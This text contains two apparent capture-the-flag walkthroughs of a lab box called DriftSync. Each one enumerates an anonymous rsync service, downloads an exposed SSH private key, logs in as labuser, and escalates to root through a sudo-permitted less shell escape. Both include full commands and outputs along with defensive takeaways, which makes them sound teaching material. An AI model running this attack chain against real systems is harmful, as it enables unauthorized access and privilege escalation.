Walkthrough: DriftSync

Challenge Description: An exposed rsync service leaks sensitive backup data. Enumerate the shares, recover credentials, and pivot into the system to obtain root access.

1. Enumeration

The initial scan reveals two open ports: 30501 (SSH) and 30502 (rsync). Since rsync is exposed anonymously, the first step is to enumerate available modules.

• Scanning the Target:

  nmap -sV -p 30501,30502 139.177.201.72
  

  Result:

  30501/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
  30502/tcp open  rsync   (protocol version 31)
  

• Enumerating Rsync Modules:

  rsync rsync://139.177.201.72:30502
  

  Result:

  public          Public Files
  backup          Backup Storage
  

2. Foothold (User Flag)

The exposed backup module contains sensitive files that should never be publicly accessible.

• Listing the Backup Share:

  rsync rsync://139.177.201.72:30502/backup
  

  Result:

  -rw-r--r--             51 .sync_notes
  -rw-r--r--              8 username.txt
  drwxr-xr-x           4096 .ssh
  

• Downloading the Exposed Files:

  mkdir loot
  cd loot
  
  rsync -av rsync://139.177.201.72:30502/backup/username.txt .
  rsync -av rsync://139.177.201.72:30502/backup/.ssh .
  

• Reviewing the Username File:

  cat username.txt
  

  Result:

  labuser
  

• Initial Access via SSH Key Reuse:
  The .ssh directory contains a private SSH key (id_rsa) which can be used to authenticate directly to the SSH service.

  chmod 600 .ssh/id_rsa
  
  ssh -i .ssh/id_rsa -p 30501 labuser@139.177.201.72
  

• Claiming the User Flag:

  cat user.txt
  

  User Flag: flag{...._...._...}

3. Privilege Escalation (Root Flag)

Once user access is obtained, the next step is to audit sudo permissions for dangerous binaries.

• Checking Sudo Permissions:

  sudo -l
  

  Result:

  (root) NOPASSWD: /usr/bin/less
  

• Exploitation via GTFOBins (less):
  Since less can spawn shell commands, it can be abused to obtain a root shell.

  sudo less /etc/profile
  

  Once inside less, execute:

  !/bin/bash
  

• Verifying Root Access:

  whoami
  

  Result:

  root
  

• Claiming the Root Flag:

  cat /root/root.txt
  

  Root Flag: flag{...._...._...}

Key Takeaways

1. Never Expose Sensitive Rsync Shares: Backup shares should require authentication and should never expose private SSH keys.
2. Protect SSH Credentials: Storing reusable SSH keys inside publicly accessible backup locations can immediately compromise a system.
3. Audit Sudo Permissions Carefully: Utilities like less may appear harmless but can easily be abused for full privilege escalation.
4. Follow Least Privilege Principles: Restricting both file exposure and sudo access significantly reduces attack surface.

Driftsync Walkthrough

Step 1 — Initial Service Enumeration

Start by identifying exposed services:

nmap -sC -sV -p 30501,30502 45.79.219.169
Why this works
-sC runs Nmap’s default enumeration scripts.
-sV detects service versions.
-p targets the known exposed ports.
Findings

The scan revealed:

30501/tcp — OpenSSH 8.2p1
30502/tcp — rsync (protocol version 31)
Why this matters

SSH provides a likely post-compromise foothold, but the challenge description points strongly toward rsync:

“nightly mirroring”
“easy to use”
“accessible”

Rsync is commonly used for backups and file synchronization. Poorly configured rsync services often expose sensitive files anonymously.

Step 2 — Enumerate Exposed Rsync Modules

Query the rsync daemon for available modules:

rsync rsync://45.79.219.169:30502
Why this works

Rsync daemons expose named modules (shared directories). This command lists all accessible shares.

Equivalent conceptually to enumerating exposed network file shares.

Findings
public Public Files
backup Backup Storage
Why this matters

The presence of a backup share is highly interesting.

Backups frequently contain:

configuration files
credentials
SSH keys
scripts
user home directories

Anonymous listing also confirms weak access control.

Step 3 — Inspect the Public Share

Check the public module first:

rsync rsync://45.79.219.169:30502/public
Findings
readme.txt

Download and inspect:

rsync rsync://45.79.219.169:30502/public/readme.txt .
cat readme.txt

Contents:

Public rsync module. For backup access contact IT.
Why this matters

The public share is merely informational.

The wording suggests backup access should be restricted, but security testing should verify actual permissions rather than trusting documentation.

Step 4 — Enumerate the Backup Share

List the backup module:

rsync rsync://45.79.219.169:30502/backup
Findings
username.txt
.ssh/
Why this matters

This is a severe operational security failure.

An exposed backup containing:

.ssh

immediately suggests leaked authentication material such as private SSH keys.

This aligns directly with the challenge premise of an overly accessible synchronization job.

Step 5 — Download the Backup Contents

Create a local workspace and retrieve the backup:

mkdir driftsync
cd driftsync
rsync -av rsync://45.79.219.169:30502/backup .
Why this works
-a enables archive mode (preserves directory structure).
-v enables verbose output.

This downloads the exposed backup recursively.

Findings
username.txt
.ssh/id_rsa
.ssh/id_rsa.pub
Why this matters

This exposes a private SSH key:

~/.ssh/id_rsa

A private key is direct authentication material.

If the key belongs to a valid account and is not passphrase protected, SSH access becomes immediate.

Step 6 — Identify the Username

Read the mirrored username file:

cat username.txt

Output:

labuser

Fix key permissions:

chmod 600 .ssh/id_rsa
Why this matters

SSH rejects private keys that are too permissively readable.

The recovered username plus private key gives everything needed for SSH authentication.

Step 7 — Initial Access via SSH

Connect using the leaked private key:

ssh -i .ssh/id_rsa -p 30501 labuser@45.79.219.169
Why this works

SSH public key authentication works by proving possession of the matching private key.

Because the backup exposed:

valid username
corresponding private key

the system accepts authentication.

Verification
whoami
id
pwd

Output:

labuser
uid=1000(labuser)
/home/labuser

Initial foothold established.

Step 8 — Privilege Escalation Enumeration

Check sudo permissions:

sudo -l
Findings
(root) NOPASSWD: /usr/bin/less
Why this matters

This is a dangerous sudo misconfiguration.

NOPASSWD means the command can be executed as root without authentication.

Although less appears harmless, it supports shell escapes.

Step 9 — Privilege Escalation via Less

Launch less as root:

sudo less /etc/hosts

Once inside less:

!bash
Why this works

less supports shell execution through:

!command

Since less itself runs as root via sudo, the spawned shell inherits root privileges.

This is a standard GTFOBins privilege escalation pattern.

Verification
whoami
id

Expected output:

root
uid=0(root)

Root access obtained.

Step 10 — Capture Flags

Retrieve the user flag:

cat /home/labuser/user.txt

Retrieve the root flag:

cat /root/root.txt
Result

Successfully captured:

user flag
root flag

Attack Path Summary:

Enumerated exposed services
Identified rsync daemon
Enumerated anonymous rsync modules
Accessed exposed backup share
Downloaded mirrored user backup
Recovered SSH private key and username
Logged in via SSH as labuser
Enumerated sudo privileges
Abused root-run less shell escape
Retrieved both flags

Rsync service was exposed without authentication. Module enumeration revealed downloadable synchronized files.

Sensitive configuration files were extracted from rsync shares, exposing credentials used for system access.

Privilege escalation was achieved via credential reuse and misconfigured permissions.